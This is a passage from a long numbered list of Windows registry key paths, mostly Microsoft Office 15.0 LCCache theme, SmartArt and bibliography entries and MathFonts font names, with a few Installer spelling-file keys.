  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1675. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1676. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1677. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
